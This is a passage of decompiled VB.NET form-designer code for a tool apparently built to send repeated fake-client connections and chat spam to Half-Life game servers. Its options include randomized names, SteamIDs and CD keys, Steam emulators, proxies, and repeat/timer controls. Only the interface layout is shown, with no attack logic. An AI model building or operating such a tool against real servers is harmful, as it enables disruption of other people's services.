            Me.groupBox3.SuspendLayout
            Me.groupBox1.SuspendLayout
            Me.tabPage1.SuspendLayout
            Me.groupBox2.SuspendLayout
            Me.tabControl1.SuspendLayout
            Me.tabPage3.SuspendLayout
            Me.tabPage4.SuspendLayout
            Me.tabPage5.SuspendLayout
            MyBase.SuspendLayout
            Me.Label8.AutoSize = True
            Me.Label8.Font = New Font("Calibri", 8.25!)
            Me.Label8.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.Label8.Location = New Point(13, &HEE)
            Me.Label8.Margin = New Padding(2, 0, 2, 0)
            Me.Label8.Name = "Label8"
            Me.Label8.Size = New Size(&H3A, 13)
            Me.Label8.TabIndex = &H39
            Me.Label8.Text = "Command:"
            Me.MessageTxtBox.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.MessageTxtBox.BorderStyle = BorderStyle.FixedSingle
            Me.MessageTxtBox.Enabled = False
            Me.MessageTxtBox.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.MessageTxtBox.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.MessageTxtBox.Location = New Point(&H4F, &HEB)
            Me.MessageTxtBox.Margin = New Padding(2)
            Me.MessageTxtBox.MaxLength = &H1869F
            Me.MessageTxtBox.Name = "MessageTxtBox"
            Me.MessageTxtBox.Size = New Size(&H175, &H15)
            Me.MessageTxtBox.TabIndex = &H3A
            Me.MessageTxtBox.Text = "say_team @ Hello guys"
            AddHandler Me.MessageTxtBox.TextChanged, New EventHandler(AddressOf Me.MessageTxtBox_TextChanged)
            Me.button2.FlatStyle = FlatStyle.Popup
            Me.button2.Font = New Font("Calibri", 8.25!)
            Me.button2.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.button2.Location = New Point(&H107, &H155)
            Me.button2.Margin = New Padding(2)
            Me.button2.Name = "button2"
            Me.button2.Size = New Size(220, &H48)
            Me.button2.TabIndex = &H35
            Me.button2.Text = "Stop"
            Me.button2.UseVisualStyleBackColor = True
            AddHandler Me.button2.Click, New EventHandler(AddressOf Me.button2_Click_1)
            AddHandler Me.timer1.Tick, New EventHandler(AddressOf Me.timer1_Tick_1)
            Me.Button1.FlatStyle = FlatStyle.Popup
            Me.Button1.Font = New Font("Calibri", 8.25!)
            Me.Button1.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.Button1.Location = New Point(&H10, &H155)
            Me.Button1.Margin = New Padding(2)
            Me.Button1.Name = "Button1"
            Me.Button1.Size = New Size(&HDE, &H48)
            Me.Button1.TabIndex = &H34
            Me.Button1.Text = "Send"
            Me.Button1.UseVisualStyleBackColor = True
            AddHandler Me.Button1.Click, New EventHandler(AddressOf Me.Button1_Click)
            AddHandler Me.timer2.Tick, New EventHandler(AddressOf Me.timer2_Tick_1)
            Me.groupBox5.Controls.Add(Me.LogRichBox)
            Me.groupBox5.Controls.Add(Me.button4)
            Me.groupBox5.Controls.Add(Me.button5)
            Me.groupBox5.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.groupBox5.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.groupBox5.Location = New Point(4, 2)
            Me.groupBox5.Name = "groupBox5"
            Me.groupBox5.Size = New Size(&H1CF, &H111)
            Me.groupBox5.TabIndex = &H2721
            Me.groupBox5.TabStop = False
            Me.groupBox5.Text = "Console"
            AddHandler Me.groupBox5.Enter, New EventHandler(AddressOf Me.groupBox5_Enter)
            Me.LogRichBox.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.LogRichBox.BorderStyle = BorderStyle.FixedSingle
            Me.LogRichBox.Font = New Font("Calibri", 9!, FontStyle.Regular, GraphicsUnit.Point, 0)
            Me.LogRichBox.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.LogRichBox.Location = New Point(6, 14)
            Me.LogRichBox.Name = "LogRichBox"
            Me.LogRichBox.Size = New Size(450, &HDE)
            Me.LogRichBox.TabIndex = &H2715
            Me.LogRichBox.Text = ""
            AddHandler Me.LogRichBox.TextChanged, New EventHandler(AddressOf Me.LogRichBox_TextChanged_2)
            Me.button4.FlatStyle = FlatStyle.Flat
            Me.button4.Location = New Point(&H14C, &HF2)
            Me.button4.Name = "button4"
            Me.button4.Size = New Size(&H3B, &H17)
            Me.button4.TabIndex = &H3E
            Me.button4.Text = "View log"
            Me.button4.UseVisualStyleBackColor = True
            AddHandler Me.button4.Click, New EventHandler(AddressOf Me.button4_Click)
            AddHandler Me.button4.MouseClick, New MouseEventHandler(AddressOf Me.button4_MouseClick)
            Me.button5.FlatStyle = FlatStyle.Flat
            Me.button5.Location = New Point(&H18D, &HF2)
            Me.button5.Name = "button5"
            Me.button5.Size = New Size(&H3B, &H17)
            Me.button5.TabIndex = &H3D
            Me.button5.Text = "Clear"
            Me.button5.UseVisualStyleBackColor = True
            AddHandler Me.button5.Click, New EventHandler(AddressOf Me.button5_Click)
            Me.button6.BackColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.button6.FlatStyle = FlatStyle.Popup
            Me.button6.Font = New Font("Calibri", 8.25!)
            Me.button6.ForeColor = Color.FromArgb(&H1A, &H20, 40)
            Me.button6.Location = New Point(3, 1)
            Me.button6.Margin = New Padding(2)
            Me.button6.Name = "button6"
            Me.button6.Size = New Size(&H1ED, 20)
            Me.button6.TabIndex = &H2722
            Me.button6.Text = "La7wa Edition"
            Me.button6.UseVisualStyleBackColor = False
            AddHandler Me.button6.Click, New EventHandler(AddressOf Me.button6_Click)
            AddHandler Me.button6.MouseMove, New MouseEventHandler(AddressOf Me.button6_MouseMove)
            Me.button7.BackColor = Color.Red
            Me.button7.FlatStyle = FlatStyle.Popup
            Me.button7.Font = New Font("Calibri", 8.25!)
            Me.button7.ForeColor = Color.FromArgb(&H1A, &H20, 40)
            Me.button7.Location = New Point(&H1BC, 1)
            Me.button7.Margin = New Padding(2)
            Me.button7.Name = "button7"
            Me.button7.Size = New Size(&H34, 20)
            Me.button7.TabIndex = &H2723
            Me.button7.Text = "Close"
            Me.button7.UseVisualStyleBackColor = False
            AddHandler Me.button7.Click, New EventHandler(AddressOf Me.button7_Click)
            AddHandler Me.button7.MouseClick, New MouseEventHandler(AddressOf Me.button7_MouseClick)
            Me.tabPage2.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.tabPage2.Controls.Add(Me.groupBox3)
            Me.tabPage2.Location = New Point(4, &H16)
            Me.tabPage2.Name = "tabPage2"
            Me.tabPage2.Padding = New Padding(3)
            Me.tabPage2.Size = New Size(&H1D9, &H119)
            Me.tabPage2.TabIndex = 1
            Me.tabPage2.Text = "Settings"
            Me.groupBox3.BackColor = Color.Green
            Me.groupBox3.Controls.Add(Me.runOnce)
            Me.groupBox3.Controls.Add(Me.checkBox17)
            Me.groupBox3.Controls.Add(Me.textBox16)
            Me.groupBox3.Controls.Add(Me.checkBox19)
            Me.groupBox3.Controls.Add(Me.checkBox18)
            Me.groupBox3.Controls.Add(Me.label15)
            Me.groupBox3.Controls.Add(Me.checkBox16)
            Me.groupBox3.Controls.Add(Me.saveSettings)
            Me.groupBox3.Controls.Add(Me.checkBox14)
            Me.groupBox3.Controls.Add(Me.textBox8)
            Me.groupBox3.Controls.Add(Me.label2)
            Me.groupBox3.Controls.Add(Me.checkBox13)
            Me.groupBox3.Controls.Add(Me.textBox6)
            Me.groupBox3.Controls.Add(Me.checkBox12)
            Me.groupBox3.Controls.Add(Me.checkBox11)
            Me.groupBox3.Controls.Add(Me.checkBox10)
            Me.groupBox3.Controls.Add(Me.checkBox9)
            Me.groupBox3.Controls.Add(Me.label10)
            Me.groupBox3.Controls.Add(Me.textBox9)
            Me.groupBox3.Controls.Add(Me.textBox4)
            Me.groupBox3.Controls.Add(Me.checkBox8)
            Me.groupBox3.Controls.Add(Me.checkBox7)
            Me.groupBox3.Controls.Add(Me.checkBox3)
            Me.groupBox3.Controls.Add(Me.checkBox6)
            Me.groupBox3.Controls.Add(Me.checkBox4)
            Me.groupBox3.Controls.Add(Me.checkBox2)
            Me.groupBox3.Controls.Add(Me.checkBox1)
            Me.groupBox3.Controls.Add(Me.checkBox5)
            Me.groupBox3.FlatStyle = FlatStyle.Popup
            Me.groupBox3.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.groupBox3.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.groupBox3.Location = New Point(6, 5)
            Me.groupBox3.Name = "groupBox3"
            Me.groupBox3.Size = New Size(&H1CD, 270)
            Me.groupBox3.TabIndex = &H33
            Me.groupBox3.TabStop = False
            Me.groupBox3.Text = "Settings"
            AddHandler Me.groupBox3.Enter, New EventHandler(AddressOf Me.groupBox3_Enter)
            Me.runOnce.AutoSize = True
            Me.runOnce.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.runOnce.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.runOnce.Location = New Point(&HE8, &HDE)
            Me.runOnce.Name = "runOnce"
            Me.runOnce.Size = New Size(70, &H11)
            Me.runOnce.TabIndex = &H272E
            Me.runOnce.Text = "Run Once"
            Me.runOnce.UseVisualStyleBackColor = True
            Me.checkBox17.AutoSize = True
            Me.checkBox17.Checked = True
            Me.checkBox17.CheckState = CheckState.Checked
            Me.checkBox17.Location = New Point(&H155, &HDE)
            Me.checkBox17.Name = "checkBox17"
            Me.checkBox17.Size = New Size(&H37, &H11)
            Me.checkBox17.TabIndex = &H272D
            Me.checkBox17.Text = "Value:"
            Me.checkBox17.UseVisualStyleBackColor = True
            AddHandler Me.checkBox17.CheckedChanged, New EventHandler(AddressOf Me.checkBox17_CheckedChanged_1)
            Me.textBox16.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox16.BorderStyle = BorderStyle.FixedSingle
            Me.textBox16.Cursor = Cursors.Default
            Me.textBox16.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.textBox16.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.textBox16.Location = New Point(&H194, &HDD)
            Me.textBox16.Margin = New Padding(2)
            Me.textBox16.MaxLength = 4
            Me.textBox16.Multiline = True
            Me.textBox16.Name = "textBox16"
            Me.textBox16.Size = New Size(&H2C, &H13)
            Me.textBox16.TabIndex = &H272C
            Me.textBox16.Text = "15"
            Me.checkBox19.AutoSize = True
            Me.checkBox19.Checked = True
            Me.checkBox19.CheckState = CheckState.Checked
            Me.checkBox19.Location = New Point(15, &HDE)
            Me.checkBox19.Name = "checkBox19"
            Me.checkBox19.Size = New Size(&H63, &H11)
            Me.checkBox19.TabIndex = &H2726
            Me.checkBox19.Text = "Follow Redirect"
            Me.checkBox19.UseVisualStyleBackColor = True
            Me.checkBox18.AutoSize = True
            Me.checkBox18.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.checkBox18.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.checkBox18.Location = New Point(&H155, &HB0)
            Me.checkBox18.Name = "checkBox18"
            Me.checkBox18.Size = New Size(&H4E, &H11)
            Me.checkBox18.TabIndex = &H2725
            Me.checkBox18.Text = "UTF8 Name"
            Me.checkBox18.UseVisualStyleBackColor = True
            AddHandler Me.checkBox18.CheckedChanged, New EventHandler(AddressOf Me.checkBox18_CheckedChanged)
            Me.label15.AutoSize = True
            Me.label15.Font = New Font("Calibri", 8.25!)
            Me.label15.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label15.Location = New Point(11, &H36)
            Me.label15.Margin = New Padding(2, 0, 2, 0)
            Me.label15.Name = "label15"
            Me.label15.Size = New Size(50, 13)
            Me.label15.TabIndex = &H2713
            Me.label15.Text = "SteamID:"
            Me.checkBox16.AutoSize = True
            Me.checkBox16.Location = New Point(15, &HC7)
            Me.checkBox16.Name = "checkBox16"
            Me.checkBox16.Size = New Size(90, &H11)
            Me.checkBox16.TabIndex = &H2723
            Me.checkBox16.Text = "Recive setinfo"
            Me.checkBox16.UseVisualStyleBackColor = True
            Me.saveSettings.AutoSize = True
            Me.saveSettings.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.saveSettings.Location = New Point(120, &HC6)
            Me.saveSettings.Name = "saveSettings"
            Me.saveSettings.Size = New Size(&H6C, &H11)
            Me.saveSettings.TabIndex = &H2722
            Me.saveSettings.Text = "AutoSave Settings"
            Me.saveSettings.UseVisualStyleBackColor = True
            AddHandler Me.saveSettings.CheckedChanged, New EventHandler(AddressOf Me.checkBox15_CheckedChanged)
            Me.checkBox14.AutoSize = True
            Me.checkBox14.Font = New Font("Calibri", 8.25!, (FontStyle.Italic Or FontStyle.Bold), GraphicsUnit.Point, 0)
            Me.checkBox14.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.checkBox14.Location = New Point(&HE8, &HC7)
            Me.checkBox14.Name = "checkBox14"
            Me.checkBox14.Size = New Size(&H52, &H11)
            Me.checkBox14.TabIndex = &H2721
            Me.checkBox14.Text = "SteamClient"
            Me.checkBox14.UseVisualStyleBackColor = True
            AddHandler Me.checkBox14.CheckedChanged, New EventHandler(AddressOf Me.checkBox14_CheckedChanged_1)
            Me.textBox8.BackColor = Color.Maroon
            Me.textBox8.BorderStyle = BorderStyle.FixedSingle
            Me.textBox8.Cursor = Cursors.IBeam
            Me.textBox8.Enabled = False
            Me.textBox8.Font = New Font("Calibri", 8.25!)
            Me.textBox8.ForeColor = Color.White
            Me.textBox8.Location = New Point(&H4E, &H33)
            Me.textBox8.Margin = New Padding(2)
            Me.textBox8.MaxLength = &H2D
            Me.textBox8.Multiline = True
            Me.textBox8.Name = "textBox8"
            Me.textBox8.Size = New Size(&H171, 20)
            Me.textBox8.TabIndex = 0
            Me.label2.AutoSize = True
            Me.label2.Font = New Font("Calibri", 8.25!)
            Me.label2.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label2.Location = New Point(9, &H55)
            Me.label2.Margin = New Padding(2, 0, 2, 0)
            Me.label2.Name = "label2"
            Me.label2.Size = New Size(&H38, 13)
            Me.label2.TabIndex = &H2711
            Me.label2.Text = "Password:"
            Me.checkBox13.AutoSize = True
            Me.checkBox13.Checked = True
            Me.checkBox13.CheckState = CheckState.Checked
            Me.checkBox13.Location = New Point(120, &HDE)
            Me.checkBox13.Name = "checkBox13"
            Me.checkBox13.Size = New Size(&H69, &H11)
            Me.checkBox13.TabIndex = &H2720
            Me.checkBox13.Text = "Advanced Packet"
            Me.checkBox13.UseVisualStyleBackColor = True
            Me.textBox6.BackColor = Color.Maroon
            Me.textBox6.BorderStyle = BorderStyle.FixedSingle
            Me.textBox6.Font = New Font("Calibri", 8.25!)
            Me.textBox6.ForeColor = Color.White
            Me.textBox6.Location = New Point(&H4E, 80)
            Me.textBox6.Margin = New Padding(2)
            Me.textBox6.MaxLength = &H20
            Me.textBox6.Name = "textBox6"
            Me.textBox6.Size = New Size(&H171, &H15)
            Me.textBox6.TabIndex = &H2711
            Me.textBox6.Text = "sv_password"
            Me.checkBox12.AutoSize = True
            Me.checkBox12.Checked = True
            Me.checkBox12.CheckState = CheckState.Checked
            Me.checkBox12.Location = New Point(&HE8, &HB0)
            Me.checkBox12.Name = "checkBox12"
            Me.checkBox12.Size = New Size(&H61, &H11)
            Me.checkBox12.TabIndex = &H271F
            Me.checkBox12.Text = "Create file log's"
            Me.checkBox12.UseVisualStyleBackColor = True
            Me.checkBox11.AutoSize = True
            Me.checkBox11.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.checkBox11.Location = New Point(&H155, &H99)
            Me.checkBox11.Name = "checkBox11"
            Me.checkBox11.Size = New Size(&H56, &H11)
            Me.checkBox11.TabIndex = &H271E
            Me.checkBox11.Text = "Name Invalid"
            Me.checkBox11.UseVisualStyleBackColor = True
            AddHandler Me.checkBox11.CheckedChanged, New EventHandler(AddressOf Me.checkBox11_CheckedChanged)
            Me.checkBox10.AutoSize = True
            Me.checkBox10.Location = New Point(15, &HB0)
            Me.checkBox10.Name = "checkBox10"
            Me.checkBox10.Size = New Size(&H4C, &H11)
            Me.checkBox10.TabIndex = &H271D
            Me.checkBox10.Text = "Check ping"
            Me.checkBox10.UseVisualStyleBackColor = True
            AddHandler Me.checkBox10.CheckedChanged, New EventHandler(AddressOf Me.checkBox10_CheckedChanged)
            Me.checkBox9.AutoSize = True
            Me.checkBox9.Location = New Point(&H155, &HC7)
            Me.checkBox9.Name = "checkBox9"
            Me.checkBox9.Size = New Size(&H3B, &H11)
            Me.checkBox9.TabIndex = &H271C
            Me.checkBox9.Text = "Repeat"
            Me.checkBox9.UseVisualStyleBackColor = True
            AddHandler Me.checkBox9.CheckedChanged, New EventHandler(AddressOf Me.checkBox9_CheckedChanged)
            Me.label10.AutoSize = True
            Me.label10.Font = New Font("Calibri", 8.25!)
            Me.label10.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label10.Location = New Point(12, &H1A)
            Me.label10.Margin = New Padding(2, 0, 2, 0)
            Me.label10.Name = "label10"
            Me.label10.Size = New Size(40, 13)
            Me.label10.TabIndex = &H2A
            Me.label10.Text = "CDKey:"
            Me.textBox9.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox9.BorderStyle = BorderStyle.FixedSingle
            Me.textBox9.Cursor = Cursors.Default
            Me.textBox9.Enabled = False
            Me.textBox9.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.textBox9.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.textBox9.Location = New Point(&H194, &HC6)
            Me.textBox9.Margin = New Padding(2)
            Me.textBox9.MaxLength = 4
            Me.textBox9.Multiline = True
            Me.textBox9.Name = "textBox9"
            Me.textBox9.Size = New Size(&H2C, &H13)
            Me.textBox9.TabIndex = &H271B
            Me.textBox9.Text = "1"
            AddHandler Me.textBox9.KeyPress, New KeyPressEventHandler(AddressOf Me.textBox9_KeyPress)
            Me.textBox4.BackColor = Color.Maroon
            Me.textBox4.BorderStyle = BorderStyle.FixedSingle
            Me.textBox4.Cursor = Cursors.IBeam
            Me.textBox4.Font = New Font("Calibri", 8.25!)
            Me.textBox4.ForeColor = Color.White
            Me.textBox4.Location = New Point(&H4E, &H15)
            Me.textBox4.Margin = New Padding(2)
            Me.textBox4.MaxLength = &H2D
            Me.textBox4.Multiline = True
            Me.textBox4.Name = "textBox4"
            Me.textBox4.Size = New Size(&H171, 20)
            Me.textBox4.TabIndex = &H2710
            Me.checkBox8.AutoSize = True
            Me.checkBox8.Checked = True
            Me.checkBox8.CheckState = CheckState.Checked
            Me.checkBox8.Location = New Point(120, &HB0)
            Me.checkBox8.Name = "checkBox8"
            Me.checkBox8.Size = New Size(&H6A, &H11)
            Me.checkBox8.TabIndex = &H2715
            Me.checkBox8.Text = "COM_Munge filrt"
            Me.checkBox8.UseVisualStyleBackColor = True
            Me.checkBox7.AutoSize = True
            Me.checkBox7.Checked = True
            Me.checkBox7.CheckState = CheckState.Checked
            Me.checkBox7.Location = New Point(15, &H9A)
            Me.checkBox7.Name = "checkBox7"
            Me.checkBox7.Size = New Size(&H61, &H11)
            Me.checkBox7.TabIndex = &H2714
            Me.checkBox7.Text = "Recive connect"
            Me.checkBox7.UseVisualStyleBackColor = True
            AddHandler Me.checkBox7.CheckedChanged, New EventHandler(AddressOf Me.checkBox7_CheckedChanged)
            Me.checkBox3.AutoSize = True
            Me.checkBox3.Checked = True
            Me.checkBox3.CheckState = CheckState.Checked
            Me.checkBox3.Location = New Point(&H155, &H83)
            Me.checkBox3.Name = "checkBox3"
            Me.checkBox3.Size = New Size(&H60, &H11)
            Me.checkBox3.TabIndex = &H2A
            Me.checkBox3.Text = "Random CDKEY"
            Me.checkBox3.UseVisualStyleBackColor = True
            AddHandler Me.checkBox3.CheckedChanged, New EventHandler(AddressOf Me.checkBox3_CheckedChanged)
            Me.checkBox6.AutoSize = True
            Me.checkBox6.Location = New Point(&HE8, &H9A)
            Me.checkBox6.Name = "checkBox6"
            Me.checkBox6.Size = New Size(80, &H11)
            Me.checkBox6.TabIndex = &H33
            Me.checkBox6.Text = "HLTV-Client"
            Me.checkBox6.UseVisualStyleBackColor = True
            AddHandler Me.checkBox6.CheckedChanged, New EventHandler(AddressOf Me.checkBox6_CheckedChanged)
            Me.checkBox4.AutoSize = True
            Me.checkBox4.Location = New Point(120, &H9A)
            Me.checkBox4.Name = "checkBox4"
            Me.checkBox4.Size = New Size(&H6A, &H11)
            Me.checkBox4.TabIndex = 40
            Me.checkBox4.Text = "HLProxy/HLSocks"
            Me.checkBox4.UseVisualStyleBackColor = True
            AddHandler Me.checkBox4.CheckedChanged, New EventHandler(AddressOf Me.checkBox4_CheckedChanged_1)
            Me.checkBox2.AutoSize = True
            Me.checkBox2.Checked = True
            Me.checkBox2.CheckState = CheckState.Checked
            Me.checkBox2.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.checkBox2.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.checkBox2.Location = New Point(&HE8, &H83)
            Me.checkBox2.Name = "checkBox2"
            Me.checkBox2.Size = New Size(&H69, &H11)
            Me.checkBox2.TabIndex = &H29
            Me.checkBox2.Text = "Random SteamID"
            Me.checkBox2.UseVisualStyleBackColor = True
            AddHandler Me.checkBox2.CheckedChanged, New EventHandler(AddressOf Me.checkBox2_CheckedChanged)
            Me.checkBox1.AutoSize = True
            Me.checkBox1.Checked = True
            Me.checkBox1.CheckState = CheckState.Checked
            Me.checkBox1.Location = New Point(15, &H83)
            Me.checkBox1.Name = "checkBox1"
            Me.checkBox1.Size = New Size(&H5D, &H11)
            Me.checkBox1.TabIndex = 40
            Me.checkBox1.Text = "Random Name"
            Me.checkBox1.UseVisualStyleBackColor = True
            AddHandler Me.checkBox1.CheckedChanged, New EventHandler(AddressOf Me.checkBox1_CheckedChanged)
            Me.checkBox5.AutoSize = True
            Me.checkBox5.Location = New Point(120, &H83)
            Me.checkBox5.Name = "checkBox5"
            Me.checkBox5.Size = New Size(&H65, &H11)
            Me.checkBox5.TabIndex = &H2713
            Me.checkBox5.Text = "Password Server"
            Me.checkBox5.UseVisualStyleBackColor = True
            AddHandler Me.checkBox5.CheckedChanged, New EventHandler(AddressOf Me.checkBox5_CheckedChanged_1)
            Me.groupBox1.BackColor = Color.Green
            Me.groupBox1.Controls.Add(Me.textBox12)
            Me.groupBox1.Controls.Add(Me.label20)
            Me.groupBox1.Controls.Add(Me.textBox11)
            Me.groupBox1.Controls.Add(Me.label19)
            Me.groupBox1.Controls.Add(Me.comboBox3)
            Me.groupBox1.Controls.Add(Me.label17)
            Me.groupBox1.Controls.Add(Me.label16)
            Me.groupBox1.Controls.Add(Me.comboBox2)
            Me.groupBox1.Controls.Add(Me.comboBox1)
            Me.groupBox1.Controls.Add(Me.asd2)
            Me.groupBox1.Controls.Add(Me.label11)
            Me.groupBox1.Controls.Add(Me.textBox5)
            Me.groupBox1.Controls.Add(Me.label9)
            Me.groupBox1.Controls.Add(Me.textBox7)
            Me.groupBox1.Controls.Add(Me.label13)
            Me.groupBox1.Controls.Add(Me.label5)
            Me.groupBox1.Controls.Add(Me.textBox1)
            Me.groupBox1.Controls.Add(Me.textBox2)
            Me.groupBox1.Controls.Add(Me.label3)
            Me.groupBox1.Controls.Add(Me.Label7)
            Me.groupBox1.Controls.Add(Me.Label6)
            Me.groupBox1.Controls.Add(Me.ProtocolComboBox)
            Me.groupBox1.Controls.Add(Me.AuthtypeComboBox)
            Me.groupBox1.Font = New Font("Calibri", 8.25!, (FontStyle.Italic Or FontStyle.Bold), GraphicsUnit.Point, 0)
            Me.groupBox1.ForeColor = Color.White
            Me.groupBox1.Location = New Point(6, 6)
            Me.groupBox1.Name = "groupBox1"
            Me.groupBox1.Size = New Size(&H1CD, &H10D)
            Me.groupBox1.TabIndex = &H37
            Me.groupBox1.TabStop = False
            Me.groupBox1.Text = "Authentication"
            Me.textBox12.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox12.BorderStyle = BorderStyle.FixedSingle
            Me.textBox12.Font = New Font("Calibri", 8.25!)
            Me.textBox12.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.textBox12.Location = New Point(&H131, &HC1)
            Me.textBox12.Margin = New Padding(2)
            Me.textBox12.MaxLength = &H12
            Me.textBox12.Name = "textBox12"
            Me.textBox12.Size = New Size(&H94, &H15)
            Me.textBox12.TabIndex = &H2722
            Me.textBox12.Text = "100"
            AddHandler Me.textBox12.KeyPress, New KeyPressEventHandler(AddressOf Me.textBox9_KeyPress)
            Me.label20.AutoSize = True
            Me.label20.Font = New Font("Calibri", 8.25!)
            Me.label20.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label20.Location = New Point(&HF9, &HC4)
            Me.label20.Margin = New Padding(2, 0, 2, 0)
            Me.label20.Name = "label20"
            Me.label20.Size = New Size(&H33, 13)
            Me.label20.TabIndex = &H2721
            Me.label20.Text = "Timeout :"
            Me.textBox11.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox11.BorderStyle = BorderStyle.FixedSingle
            Me.textBox11.Enabled = False
            Me.textBox11.Font = New Font("Calibri", 8.25!)
            Me.textBox11.ForeColor = Color.FromArgb(&HE7, &H4C, 60)
            Me.textBox11.Location = New Point(&H52, &HE9)
            Me.textBox11.Margin = New Padding(2)
            Me.textBox11.MaxLength = &H20
            Me.textBox11.Name = "textBox11"
            Me.textBox11.Size = New Size(&H173, &H15)
            Me.textBox11.TabIndex = &H2720
            AddHandler Me.textBox11.TextChanged, New EventHandler(AddressOf Me.textBox5_TextChanged)
            AddHandler Me.textBox11.KeyPress, New KeyPressEventHandler(AddressOf Me.textBox9_KeyPress)
            Me.label19.AutoSize = True
            Me.label19.Font = New Font("Calibri", 8.25!)
            Me.label19.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label19.Location = New Point(13, &HED)
            Me.label19.Margin = New Padding(2, 0, 2, 0)
            Me.label19.Name = "label19"
            Me.label19.Size = New Size(&H39, 13)
            Me.label19.TabIndex = &H271F
            Me.label19.Text = "Local Port:"
            Me.comboBox3.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.comboBox3.DropDownStyle = ComboBoxStyle.DropDownList
            Me.comboBox3.FlatStyle = FlatStyle.Popup
            Me.comboBox3.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.comboBox3.ForeColor = Color.Yellow
            Me.comboBox3.FormattingEnabled = True
            Me.comboBox3.Items.AddRange(New Object() { "getchallenge steam", "getchallenge valve", "getchallenge" })
            Me.comboBox3.Location = New Point(&H52, &HC0)
            Me.comboBox3.Margin = New Padding(2)
            Me.comboBox3.Name = "comboBox3"
            Me.comboBox3.Size = New Size(&H9E, &H15)
            Me.comboBox3.TabIndex = &H271E
            Me.label17.AutoSize = True
            Me.label17.Font = New Font("Calibri", 8.25!)
            Me.label17.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label17.Location = New Point(15, &HC3)
            Me.label17.Margin = New Padding(2, 0, 2, 0)
            Me.label17.Name = "label17"
            Me.label17.Size = New Size(&H39, 13)
            Me.label17.TabIndex = &H271D
            Me.label17.Text = "Challenge:"
            Me.label16.AutoSize = True
            Me.label16.Font = New Font("Calibri", 8.25!)
            Me.label16.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label16.Location = New Point(13, &H45)
            Me.label16.Margin = New Padding(2, 0, 2, 0)
            Me.label16.Name = "label16"
            Me.label16.Size = New Size(&H35, 13)
            Me.label16.TabIndex = &H271C
            Me.label16.Text = "Emulator:"
            Me.comboBox2.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.comboBox2.DropDownStyle = ComboBoxStyle.DropDownList
            Me.comboBox2.FlatStyle = FlatStyle.Popup
            Me.comboBox2.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.comboBox2.ForeColor = Color.Yellow
            Me.comboBox2.FormattingEnabled = True
            Me.comboBox2.Items.AddRange(New Object() { "RevEmu", "SteamEmu", "OldRevEmu", "AVSMP(1)", "AVSMP(0)", "SettiEmu", "Random" })
            Me.comboBox2.Location = New Point(&H52, &H41)
            Me.comboBox2.Margin = New Padding(2)
            Me.comboBox2.Name = "comboBox2"
            Me.comboBox2.Size = New Size(&H9E, &H15)
            Me.comboBox2.TabIndex = &H271B
            Me.comboBox2.Tag = "234"
            AddHandler Me.comboBox2.SelectedIndexChanged, New EventHandler(AddressOf Me.comboBox2_SelectedIndexChanged)
            Me.comboBox1.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.comboBox1.DropDownStyle = ComboBoxStyle.DropDownList
            Me.comboBox1.FlatStyle = FlatStyle.Popup
            Me.comboBox1.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.comboBox1.ForeColor = Color.Yellow
            Me.comboBox1.FormattingEnabled = True
            Me.comboBox1.Items.AddRange(New Object() { "Dropclient", "SV_ReadClient", "Reconnect", "= Nothing =" })
            Me.comboBox1.Location = New Point(&H52, &H97)
            Me.comboBox1.Margin = New Padding(2)
            Me.comboBox1.Name = "comboBox1"
            Me.comboBox1.Size = New Size(&H9E, &H15)
            Me.comboBox1.TabIndex = &H2719
            AddHandler Me.comboBox1.SelectedIndexChanged, New EventHandler(AddressOf Me.comboBox1_SelectedIndexChanged)
            Me.asd2.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.asd2.BorderStyle = BorderStyle.FixedSingle
